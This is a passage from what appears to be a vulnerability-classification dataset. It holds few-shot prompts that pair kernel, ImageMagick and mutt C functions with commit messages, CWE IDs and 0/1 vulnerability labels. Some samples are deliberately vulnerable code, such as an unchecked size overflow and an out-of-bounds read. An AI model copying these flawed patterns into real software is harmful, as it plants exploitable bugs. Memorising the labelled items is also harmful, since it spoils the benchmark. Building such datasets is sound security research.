__tty_buffer_request_room(port, goal, flags); struct tty_buffer *tb = port->buf.tail; ... memcpy(char_buf_ptr(tb, tb->used), chars, space); ... tb->used += space; so the race of the two can result in something like this: A B __tty_buffer_request_room __tty_buffer_request_room memcpy(buf(tb->used), ...) tb->used += space; memcpy(buf(tb->used), ...) ->BOOM B's memcpy is past the tty_buffer due to the previous A's tb->used increment. Since the N_TTY line discipline input processing can output concurrently with a tty write, obtain the N_TTY ldisc output_lock to serialize echo output with normal tty writes. This ensures the tty buffer helper tty_insert_flip_string is not called concurrently and everything is fine. Note that this is nicely reproducible by an ordinary user using forkpty and some setup around that (raw termios + ECHO). And it is present in kernels at least after commit d945cb9cce20ac7143c2de8d88b187f62db99bdc (pty: Rework the pty layer to use the normal buffering logic) in 2.6.31-rc3. js: add more info to the commit log js: switch to bool js: lock unconditionally js: lock only the tty->ops->write call References: CVE-2014-0196 Reported-and-tested-by: Jiri Slaby <[email protected]> Signed-off-by: Peter Hurley <[email protected]> Signed-off-by: Jiri Slaby <[email protected]> Cc: Linus Torvalds <[email protected]> Cc: Alan Cox <[email protected]> Cc: <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-362 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int snd_compr_allocate_buffer(struct snd_compr_stream *stream, struct snd_compr_params *params) { unsigned int buffer_size; void *buffer; buffer_size = params->buffer.fragment_size * params->buffer.fragments; if (stream->ops->copy) { buffer = NULL; /* if copy is defined the driver will be required to copy * the data from core */ } else { buffer = kmalloc(buffer_size, GFP_KERNEL); if (!buffer) return -ENOMEM; } stream->runtime->fragment_size = params->buffer.fragment_size; stream->runtime->fragments = params->buffer.fragments; stream->runtime->buffer = buffer; stream->runtime->buffer_size = buffer_size; return 0; } Commit Message: ALSA: compress_core: integer overflow in snd_compr_allocate_buffer() These are 32 bit values that come from the user, we need to check for integer overflows or we could end up allocating a smaller buffer than expected. Signed-off-by: Dan Carpenter <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID: Target: 1 Example 2: Code: int nntp_check_msgid(struct Context *ctx, const char *msgid) { struct NntpData *nntp_data = ctx->data; char buf[LONG_STRING]; FILE *fp = mutt_file_mkstemp(); if (!fp) { mutt_perror("mutt_file_mkstemp() failed!"); return -1; } snprintf(buf, sizeof(buf), "HEAD %s\r\n", msgid); int rc = nntp_fetch_lines(nntp_data, buf, sizeof(buf), NULL, fetch_tempfile, fp); if (rc) { mutt_file_fclose(&fp); if (rc < 0) return -1; if (mutt_str_strncmp("430", buf, 3) == 0) return 1; mutt_error("HEAD: %s", buf); return -1; } /* parse header */ if (ctx->msgcount == ctx->hdrmax) mx_alloc_memory(ctx); struct Header *hdr = ctx->hdrs[ctx->msgcount] = mutt_header_new(); hdr->data = mutt_mem_calloc(1, sizeof(struct NntpHeaderData)); hdr->env = mutt_rfc822_read_header(fp, hdr, 0, 0); mutt_file_fclose(&fp); /* get article number */ if (hdr->env->xref) nntp_parse_xref(ctx, hdr); else { snprintf(buf, sizeof(buf), "STAT %s\r\n", msgid); if (nntp_query(nntp_data, buf, sizeof(buf)) < 0) { mutt_header_free(&hdr); return -1; } sscanf(buf + 4, ANUM, &NHDR(hdr)->article_num); } /* reset flags */ hdr->read = false; hdr->old = false; hdr->deleted = false; hdr->changed = true; hdr->received = hdr->date_sent; hdr->index = ctx->msgcount++; mx_update_context(ctx, 1); return 0; } Commit Message: Add alloc fail check in nntp_fetch_headers CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int ext4_fill_flex_info(struct super_block *sb) { struct ext4_sb_info *sbi = EXT4_SB(sb); struct ext4_group_desc *gdp = NULL; ext4_group_t flex_group_count; ext4_group_t flex_group; int groups_per_flex = 0; size_t size; int i; sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex; groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex < 2) { sbi->s_log_groups_per_flex = 0; return 1; } /* We allocate both existing and potentially added groups */ flex_group_count = ((sbi->s_groups_count + groups_per_flex - 1) + ((le16_to_cpu(sbi->s_es->s_reserved_gdt_blocks) + 1) << EXT4_DESC_PER_BLOCK_BITS(sb))) / groups_per_flex; size = flex_group_count * sizeof(struct flex_groups); sbi->s_flex_groups = ext4_kvzalloc(size, GFP_KERNEL); if (sbi->s_flex_groups == NULL) { ext4_msg(sb, KERN_ERR, "not enough memory for %u flex groups", flex_group_count); goto failed; } for (i = 0; i < sbi->s_groups_count; i++) { gdp = ext4_get_group_desc(sb, i, NULL); flex_group = ext4_flex_group(sbi, i); atomic_add(ext4_free_inodes_count(sb, gdp), &sbi->s_flex_groups[flex_group].free_inodes); atomic_add(ext4_free_group_clusters(sb, gdp), &sbi->s_flex_groups[flex_group].free_clusters); atomic_add(ext4_used_dirs_count(sb, gdp), &sbi->s_flex_groups[flex_group].used_dirs); } return 1; failed: return 0; } Commit Message: ext4: fix undefined behavior in ext4_fill_flex_info() Commit 503358ae01b70ce6909d19dd01287093f6b6271c ("ext4: avoid divide by zero when trying to mount a corrupted file system") fixes CVE-2009-4307 by performing a sanity check on s_log_groups_per_flex, since it can be set to a bogus value by an attacker. sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex; groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex < 2) { ... } This patch fixes two potential issues in the previous commit. 1) The sanity check might only work on architectures like PowerPC. On x86, 5 bits are used for the shifting amount. That means, given a large s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36 is essentially 1 << 4 = 16, rather than 0. This will bypass the check, leaving s_log_groups_per_flex and groups_per_flex inconsistent. 2) The sanity check relies on undefined behavior, i.e., oversized shift. A standard-confirming C compiler could rewrite the check in unexpected ways. Consider the following equivalent form, assuming groups_per_flex is unsigned for simplicity. groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex == 0 || groups_per_flex == 1) { We compile the code snippet using Clang 3.0 and GCC 4.6. Clang will completely optimize away the check groups_per_flex == 0, leaving the patched code as vulnerable as the original. GCC keeps the check, but there is no guarantee that future versions will do the same. Signed-off-by: Xi Wang <[email protected]> Signed-off-by: "Theodore Ts'o" <[email protected]> Cc: [email protected] CWE ID: CWE-189 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static Image *ReadVIFFImage(const ImageInfo *image_info, ExceptionInfo *exception) { #define VFF_CM_genericRGB 15 #define VFF_CM_ntscRGB 1 #define VFF_CM_NONE 0 #define VFF_DEP_DECORDER 0x4 #define VFF_DEP_NSORDER 0x8 #define VFF_DES_RAW 0 #define VFF_LOC_IMPLICIT 1 #define VFF_MAPTYP_NONE 0 #define VFF_MAPTYP_1_BYTE 1 #define VFF_MAPTYP_2_BYTE 2 #define VFF_MAPTYP_4_BYTE 4 #define VFF_MAPTYP_FLOAT 5 #define VFF_MAPTYP_DOUBLE 7 #define VFF_MS_NONE 0 #define VFF_MS_ONEPERBAND 1 #define VFF_MS_SHARED 3 #define VFF_TYP_BIT 0 #define VFF_TYP_1_BYTE 1 #define VFF_TYP_2_BYTE 2 #define VFF_TYP_4_BYTE 4 #define VFF_TYP_FLOAT 5 #define VFF_TYP_DOUBLE 9 typedef struct _ViffInfo { unsigned char identifier, file_type, release, version, machine_dependency, reserve[3]; char comment[512]; unsigned int rows, columns, subrows; int x_offset, y_offset; float x_bits_per_pixel, y_bits_per_pixel; unsigned int location_type, location_dimension, number_of_images, number_data_bands, data_storage_type, data_encode_scheme, map_scheme, map_storage_type, map_rows, map_columns, map_subrows, map_enable, maps_per_cycle, color_space_model; } ViffInfo; double min_value, scale_factor, value; Image *image; int bit; MagickBooleanType status; MagickSizeType number_pixels; register IndexPacket *indexes; register ssize_t x; register PixelPacket *q; register ssize_t i; register unsigned char *p; size_t bytes_per_pixel, max_packets, quantum; ssize_t count, y; unsigned char *pixels; unsigned long lsb_first; ViffInfo viff_info; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read VIFF header (1024 bytes). */ count=ReadBlob(image,1,&viff_info.identifier); do { /* Verify VIFF identifier. */ if ((count != 1) || ((unsigned char) viff_info.identifier != 0xab)) ThrowReaderException(CorruptImageError,"NotAVIFFImage"); /* Initialize VIFF image. */ (void) ReadBlob(image,sizeof(viff_info.file_type),&viff_info.file_type); (void) ReadBlob(image,sizeof(viff_info.release),&viff_info.release); (void) ReadBlob(image,sizeof(viff_info.version),&viff_info.version); (void) ReadBlob(image,sizeof(viff_info.machine_dependency), &viff_info.machine_dependency); (void) ReadBlob(image,sizeof(viff_info.reserve),viff_info.reserve); (void) ReadBlob(image,512,(unsigned char *) viff_info.comment); viff_info.comment[511]='\0'; if (strlen(viff_info.comment) > 4) (void) SetImageProperty(image,"comment",viff_info.comment); if ((viff_info.machine_dependency == VFF_DEP_DECORDER) || (viff_info.machine_dependency == VFF_DEP_NSORDER)) image->endian=LSBEndian; else image->endian=MSBEndian; viff_info.rows=ReadBlobLong(image); viff_info.columns=ReadBlobLong(image); viff_info.subrows=ReadBlobLong(image); viff_info.x_offset=(int) ReadBlobLong(image); viff_info.y_offset=(int) ReadBlobLong(image); viff_info.x_bits_per_pixel=(float) ReadBlobLong(image); viff_info.y_bits_per_pixel=(float) ReadBlobLong(image); viff_info.location_type=ReadBlobLong(image); viff_info.location_dimension=ReadBlobLong(image); viff_info.number_of_images=ReadBlobLong(image); viff_info.number_data_bands=ReadBlobLong(image); viff_info.data_storage_type=ReadBlobLong(image); viff_info.data_encode_scheme=ReadBlobLong(image); viff_info.map_scheme=ReadBlobLong(image); viff_info.map_storage_type=ReadBlobLong(image); viff_info.map_rows=ReadBlobLong(image); viff_info.map_columns=ReadBlobLong(image); viff_info.map_subrows=ReadBlobLong(image); viff_info.map_enable=ReadBlobLong(image); viff_info.maps_per_cycle=ReadBlobLong(image); viff_info.color_space_model=ReadBlobLong(image); for (i=0; i < 420; i++) (void) ReadBlobByte(image); if (EOFBlob(image) != MagickFalse) ThrowReaderException(CorruptImageError,"UnexpectedEndOfFile"); image->columns=viff_info.rows; image->rows=viff_info.columns; image->depth=viff_info.x_bits_per_pixel <= 8 ? 8UL : MAGICKCORE_QUANTUM_DEPTH; /* Verify that we can read this VIFF image. */ number_pixels=(MagickSizeType) viff_info.columns*viff_info.rows; if (number_pixels != (size_t) number_pixels) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (number_pixels == 0) ThrowReaderException(CoderError,"ImageColumnOrRowSizeIsNotSupported"); if ((viff_info.number_data_bands < 1) || (viff_info.number_data_bands > 4)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if ((viff_info.data_storage_type != VFF_TYP_BIT) && (viff_info.data_storage_type != VFF_TYP_1_BYTE) && (viff_info.data_storage_type != VFF_TYP_2_BYTE) && (viff_info.data_storage_type != VFF_TYP_4_BYTE) && (viff_info.data_storage_type != VFF_TYP_FLOAT) && (viff_info.data_storage_type != VFF_TYP_DOUBLE)) ThrowReaderException(CoderError,"DataStorageTypeIsNotSupported"); if (viff_info.data_encode_scheme != VFF_DES_RAW) ThrowReaderException(CoderError,"DataEncodingSchemeIsNotSupported"); if ((viff_info.map_storage_type != VFF_MAPTYP_NONE) && (viff_info.map_storage_type != VFF_MAPTYP_1_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_2_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_4_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_FLOAT) && (viff_info.map_storage_type != VFF_MAPTYP_DOUBLE)) ThrowReaderException(CoderError,"MapStorageTypeIsNotSupported"); if ((viff_info.color_space_model != VFF_CM_NONE) && (viff_info.color_space_model != VFF_CM_ntscRGB) && (viff_info.color_space_model != VFF_CM_genericRGB)) ThrowReaderException(CoderError,"ColorspaceModelIsNotSupported"); if (viff_info.location_type != VFF_LOC_IMPLICIT) ThrowReaderException(CoderError,"LocationTypeIsNotSupported"); if (viff_info.number_of_images != 1) ThrowReaderException(CoderError,"NumberOfImagesIsNotSupported"); if (viff_info.map_rows == 0) viff_info.map_scheme=VFF_MS_NONE; switch ((int) viff_info.map_scheme) { case VFF_MS_NONE: { if (viff_info.number_data_bands < 3) { /* Create linear color ramp. */ if (viff_info.data_storage_type == VFF_TYP_BIT) image->colors=2; else if (viff_info.data_storage_type == VFF_MAPTYP_1_BYTE) image->colors=256UL; else image->colors=image->depth <= 8 ? 256UL : 65536UL; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); } break; } case VFF_MS_ONEPERBAND: case VFF_MS_SHARED: { unsigned char *viff_colormap; /* Allocate VIFF colormap. */ switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_1_BYTE: bytes_per_pixel=1; break; case VFF_MAPTYP_2_BYTE: bytes_per_pixel=2; break; case VFF_MAPTYP_4_BYTE: bytes_per_pixel=4; break; case VFF_MAPTYP_FLOAT: bytes_per_pixel=4; break; case VFF_MAPTYP_DOUBLE: bytes_per_pixel=8; break; default: bytes_per_pixel=1; break; } image->colors=viff_info.map_columns; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (viff_info.map_rows > (viff_info.map_rows*bytes_per_pixel*sizeof(*viff_colormap))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); viff_colormap=(unsigned char *) AcquireQuantumMemory(image->colors, viff_info.map_rows*bytes_per_pixel*sizeof(*viff_colormap)); if (viff_colormap == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); /* Read VIFF raster colormap. */ (void) ReadBlob(image,bytes_per_pixel*image->colors*viff_info.map_rows, viff_colormap); lsb_first=1; if (*(char *) &lsb_first && ((viff_info.machine_dependency != VFF_DEP_DECORDER) && (viff_info.machine_dependency != VFF_DEP_NSORDER))) switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_2_BYTE: { MSBOrderShort(viff_colormap,(bytes_per_pixel*image->colors* viff_info.map_rows)); break; } case VFF_MAPTYP_4_BYTE: case VFF_MAPTYP_FLOAT: { MSBOrderLong(viff_colormap,(bytes_per_pixel*image->colors* viff_info.map_rows)); break; } default: break; } for (i=0; i < (ssize_t) (viff_info.map_rows*image->colors); i++) { switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_2_BYTE: value=1.0*((short *) viff_colormap)[i]; break; case VFF_MAPTYP_4_BYTE: value=1.0*((int *) viff_colormap)[i]; break; case VFF_MAPTYP_FLOAT: value=((float *) viff_colormap)[i]; break; case VFF_MAPTYP_DOUBLE: value=((double *) viff_colormap)[i]; break; default: value=1.0*viff_colormap[i]; break; } if (i < (ssize_t) image->colors) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) value); image->colormap[i].green=ScaleCharToQuantum((unsigned char) value); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) value); } else if (i < (ssize_t) (2*image->colors)) image->colormap[i % image->colors].green=ScaleCharToQuantum( (unsigned char) value); else if (i < (ssize_t) (3*image->colors)) image->colormap[i % image->colors].blue=ScaleCharToQuantum( (unsigned char) value); } viff_colormap=(unsigned char *) RelinquishMagickMemory(viff_colormap); break; } default: ThrowReaderException(CoderError,"ColormapTypeNotSupported"); } /* Initialize image structure. */ image->matte=viff_info.number_data_bands == 4 ? MagickTrue : MagickFalse; image->storage_class= (viff_info.number_data_bands < 3 ? PseudoClass : DirectClass); image->columns=viff_info.rows; image->rows=viff_info.columns; if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0)) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } /* Allocate VIFF pixels. */ switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: bytes_per_pixel=2; break; case VFF_TYP_4_BYTE: bytes_per_pixel=4; break; case VFF_TYP_FLOAT: bytes_per_pixel=4; break; case VFF_TYP_DOUBLE: bytes_per_pixel=8; break; default: bytes_per_pixel=1; break; } if (viff_info.data_storage_type == VFF_TYP_BIT) max_packets=((image->columns+7UL) >> 3UL)*image->rows; else max_packets=(size_t) (number_pixels*viff_info.number_data_bands); pixels=(unsigned char *) AcquireQuantumMemory(max_packets, bytes_per_pixel*sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,bytes_per_pixel*max_packets,pixels); lsb_first=1; if (*(char *) &lsb_first && ((viff_info.machine_dependency != VFF_DEP_DECORDER) && (viff_info.machine_dependency != VFF_DEP_NSORDER))) switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: { MSBOrderShort(pixels,bytes_per_pixel*max_packets); break; } case VFF_TYP_4_BYTE: case VFF_TYP_FLOAT: { MSBOrderLong(pixels,bytes_per_pixel*max_packets); break; } default: break; } min_value=0.0; scale_factor=1.0; if ((viff_info.data_storage_type != VFF_TYP_1_BYTE) && (viff_info.map_scheme == VFF_MS_NONE)) { double max_value; /* Determine scale factor. */ switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[0]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[0]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[0]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[0]; break; default: value=1.0*pixels[0]; break; } max_value=value; min_value=value; for (i=0; i < (ssize_t) max_packets; i++) { switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[i]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[i]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[i]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[i]; break; default: value=1.0*pixels[i]; break; } if (value > max_value) max_value=value; else if (value < min_value) min_value=value; } if ((min_value == 0) && (max_value == 0)) scale_factor=0; else if (min_value == max_value) { scale_factor=(MagickRealType) QuantumRange/min_value; min_value=0; } else scale_factor=(MagickRealType) QuantumRange/(max_value-min_value); } /* Convert pixels to Quantum size. */ p=(unsigned char *) pixels; for (i=0; i < (ssize_t) max_packets; i++) { switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[i]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[i]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[i]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[i]; break; default: value=1.0*pixels[i]; break; } if (viff_info.map_scheme == VFF_MS_NONE) { value=(value-min_value)*scale_factor; if (value > QuantumRange) value=QuantumRange; else if (value < 0) value=0; } *p=(unsigned char) ((Quantum) value); p++; } /* Convert VIFF raster image to pixel packets. */ p=(unsigned char *) pixels; if (viff_info.data_storage_type == VFF_TYP_BIT) { /* Convert bitmap scanline. */ if (image->storage_class != PseudoClass) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) (image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { quantum=(size_t) ((*p) & (0x01 << bit) ? 0 : 1); SetPixelRed(q,quantum == 0 ? 0 : QuantumRange); SetPixelGreen(q,quantum == 0 ? 0 : QuantumRange); SetPixelBlue(q,quantum == 0 ? 0 : QuantumRange); if (image->storage_class == PseudoClass) SetPixelIndex(indexes+x+bit,quantum); } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (int) (image->columns % 8); bit++) { quantum=(size_t) ((*p) & (0x01 << bit) ? 0 : 1); SetPixelRed(q,quantum == 0 ? 0 : QuantumRange); SetPixelGreen(q,quantum == 0 ? 0 : QuantumRange); SetPixelBlue(q,quantum == 0 ? 0 : QuantumRange); if (image->storage_class == PseudoClass) SetPixelIndex(indexes+x+bit,quantum); } p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } } else if (image->storage_class == PseudoClass) for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) SetPixelIndex(indexes+x,*p++); if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } else { /* Convert DirectColor scanline. */ number_pixels=(MagickSizeType) image->columns*image->rows; for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(q,ScaleCharToQuantum(*p)); SetPixelGreen(q,ScaleCharToQuantum(*(p+number_pixels))); SetPixelBlue(q,ScaleCharToQuantum(*(p+2*number_pixels))); if (image->colors != 0) { ssize_t index; index=(ssize_t) GetPixelRed(q); SetPixelRed(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].red); index=(ssize_t) GetPixelGreen(q); SetPixelGreen(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].green); index=(ssize_t) GetPixelRed(q); SetPixelBlue(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].blue); } SetPixelOpacity(q,image->matte != MagickFalse ? QuantumRange- ScaleCharToQuantum(*(p+number_pixels*3)) : OpaqueOpacity); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } } pixels=(unsigned char *) RelinquishMagickMemory(pixels); if (image->storage_class == PseudoClass) (void) SyncImage(image); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } /* Proceed to next image. */ if (image_info->number_scenes != 0) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; count=ReadBlob(image,1,&viff_info.identifier); if ((count != 0) && (viff_info.identifier == 0xab)) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) { image=DestroyImageList(image); return((Image *) NULL); } image=SyncNextImageInList(image); status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; } } while ((count != 0) && (viff_info.identifier == 0xab)); (void) CloseBlob(image); return(GetFirstImageInList(image)); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/99 CWE ID: CWE-125 Target: 1 Example 2: Code: cifs_copy_sid(struct cifs_sid *dst, const struct cifs_sid *src) { int i; dst->revision = src->revision; dst->num_subauth = min_t(u8, src->num_subauth, SID_MAX_SUB_AUTHORITIES); for (i = 0; i < NUM_AUTHS; ++i) dst->authority[i] = src->authority[i]; for (i = 0; i < dst->num_subauth; ++i) dst->sub_auth[i] = src->sub_auth[i]; } Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse A previous patch added a ->match_preparse() method to the key type. This is allowed to override the function called by the iteration algorithm. Therefore, we can just set a default that simply checks for an exact match of the key description with the original criterion data and allow match_preparse to override it as needed. The key_type::match op is then redundant and can be removed, as can the user_match() function. Signed-off-by: David Howells <[email protected]> Acked-by: Vivek Goyal <[email protected]> CWE ID: CWE-476 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int fallocate_chunk(struct inode *inode, loff_t offset, loff_t len, int mode) { struct gfs2_inode *ip = GFS2_I(inode); struct buffer_head *dibh; int error; loff_t size = len; unsigned int nr_blks; sector_t lblock = offset >> inode->i_blkbits; error = gfs2_meta_inode_buffer(ip, &dibh); if (unlikely(error)) return error; gfs2_trans_add_meta(ip->i_gl, dibh); if (gfs2_is_stuffed(ip)) { error = gfs2_unstuff_dinode(ip, NULL); if (unlikely(error)) goto out; } while (len) { struct buffer_head bh_map = { .b_state = 0, .b_blocknr = 0 }; bh_map.b_size = len; set_buffer_zeronew(&bh_map); error = gfs2_block_map(inode, lblock, &bh_map, 1); if (unlikely(error)) goto out; len -= bh_map.b_size; nr_blks = bh_map.b_size >> inode->i_blkbits; lblock += nr_blks; if (!buffer_new(&bh_map)) continue; if (unlikely(!buffer_zeronew(&bh_map))) { error = -EIO; goto out; } } if (offset + size > inode->i_size && !(mode & FALLOC_FL_KEEP_SIZE)) i_size_write(inode, offset + size); mark_inode_dirty(inode); out: brelse(dibh); return error; } Commit Message: ->splice_write() via ->write_iter() iter_file_splice_write() - a ->splice_write() instance that gathers the pipe buffers, builds a bio_vec-based iov_iter covering those and feeds it to ->write_iter(). A bunch of simple cases coverted to that... [AV: fixed the braino spotted by Cyrill] Signed-off-by: Al Viro <[email protected]> CWE ID: CWE-264 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void sas_deform_port(struct asd_sas_phy *phy, int gone) { struct sas_ha_struct *sas_ha = phy->ha; struct asd_sas_port *port = phy->port; struct sas_internal *si = to_sas_internal(sas_ha->core.shost->transportt); struct domain_device *dev; unsigned long flags; if (!port) return; /* done by a phy event */ dev = port->port_dev; if (dev) dev->pathways--; if (port->num_phys == 1) { sas_unregister_domain_devices(port, gone); sas_port_delete(port->port); port->port = NULL; } else { sas_port_delete_phy(port->port, phy->phy); sas_device_set_phy(dev, port->port); } if (si->dft->lldd_port_deformed) si->dft->lldd_port_deformed(phy); spin_lock_irqsave(&sas_ha->phy_port_lock, flags); spin_lock(&port->phy_list_lock); list_del_init(&phy->port_phy_el); sas_phy_set_target(phy, NULL); phy->port = NULL; port->num_phys--; port->phy_mask &= ~(1U << phy->id); if (port->num_phys == 0) { INIT_LIST_HEAD(&port->phy_list); memset(port->sas_addr, 0, SAS_ADDR_SIZE); memset(port->attached_sas_addr, 0, SAS_ADDR_SIZE); port->class = 0; port->iproto = 0; port->tproto = 0; port->oob_mode = 0; port->phy_mask = 0; } spin_unlock(&port->phy_list_lock); spin_unlock_irqrestore(&sas_ha->phy_port_lock, flags); return; } Commit Message: scsi: libsas: direct call probe and destruct In commit 87c8331fcf72 ("[SCSI] libsas: prevent domain rediscovery competing with ata error handling") introduced disco mutex to prevent rediscovery competing with ata error handling and put the whole revalidation in the mutex. But the rphy add/remove needs to wait for the error handling which also grabs the disco mutex. This may leads to dead lock.So the probe and destruct event were introduce to do the rphy add/remove asynchronously and out of the lock. The asynchronously processed workers makes the whole discovery process not atomic, the other events may interrupt the process. For example, if a loss of signal event inserted before the probe event, the sas_deform_port() is called and the port will be deleted. And sas_port_delete() may run before the destruct event, but the port-x:x is the top parent of end device or expander. This leads to a kernel WARNING such as: [ 82.042979] sysfs group 'power' not found for kobject 'phy-1:0:22' [ 82.042983] ------------[ cut here ]------------ [ 82.042986] WARNING: CPU: 54 PID: 1714 at fs/sysfs/group.c:237 sysfs_remove_group+0x94/0xa0 [ 82.043059] Call trace: [ 82.043082] [<ffff0000082e7624>] sysfs_remove_group+0x94/0xa0 [ 82.043085] [<ffff00000864e320>] dpm_sysfs_remove+0x60/0x70 [ 82.043086] [<ffff00000863ee10>] device_del+0x138/0x308 [ 82.043089] [<ffff00000869a2d0>] sas_phy_delete+0x38/0x60 [ 82.043091] [<ffff00000869a86c>] do_sas_phy_delete+0x6c/0x80 [ 82.043093] [<ffff00000863dc20>] device_for_each_child+0x58/0xa0 [ 82.043095] [<ffff000008696f80>] sas_remove_children+0x40/0x50 [ 82.043100] [<ffff00000869d1bc>] sas_destruct_devices+0x64/0xa0 [ 82.043102] [<ffff0000080e93bc>] process_one_work+0x1fc/0x4b0 [ 82.043104] [<ffff0000080e96c0>] worker_thread+0x50/0x490 [ 82.043105] [<ffff0000080f0364>] kthread+0xfc/0x128 [ 82.043107] [<ffff0000080836c0>] ret_from_fork+0x10/0x50 Make probe and destruct a direct call in the disco and revalidate function, but put them outside the lock. The whole discovery or revalidate won't be interrupted by other events. And the DISCE_PROBE and DISCE_DESTRUCT event are deleted as a result of the direct call. Introduce a new list to destruct the sas_port and put the port delete after the destruct. This makes sure the right order of destroying the sysfs kobject and fix the warning above. In sas_ex_revalidate_domain() have a loop to find all broadcasted device, and sometimes we have a chance to find the same expander twice. Because the sas_port will be deleted at the end of the whole revalidate process, sas_port with the same name cannot be added before this. Otherwise the sysfs will complain of creating duplicate filename. Since the LLDD will send broadcast for every device change, we can only process one expander's revalidation. [mkp: kbuild test robot warning] Signed-off-by: Jason Yan <[email protected]> CC: John Garry <[email protected]> CC: Johannes Thumshirn <[email protected]> CC: Ewan Milne <[email protected]> CC: Christoph Hellwig 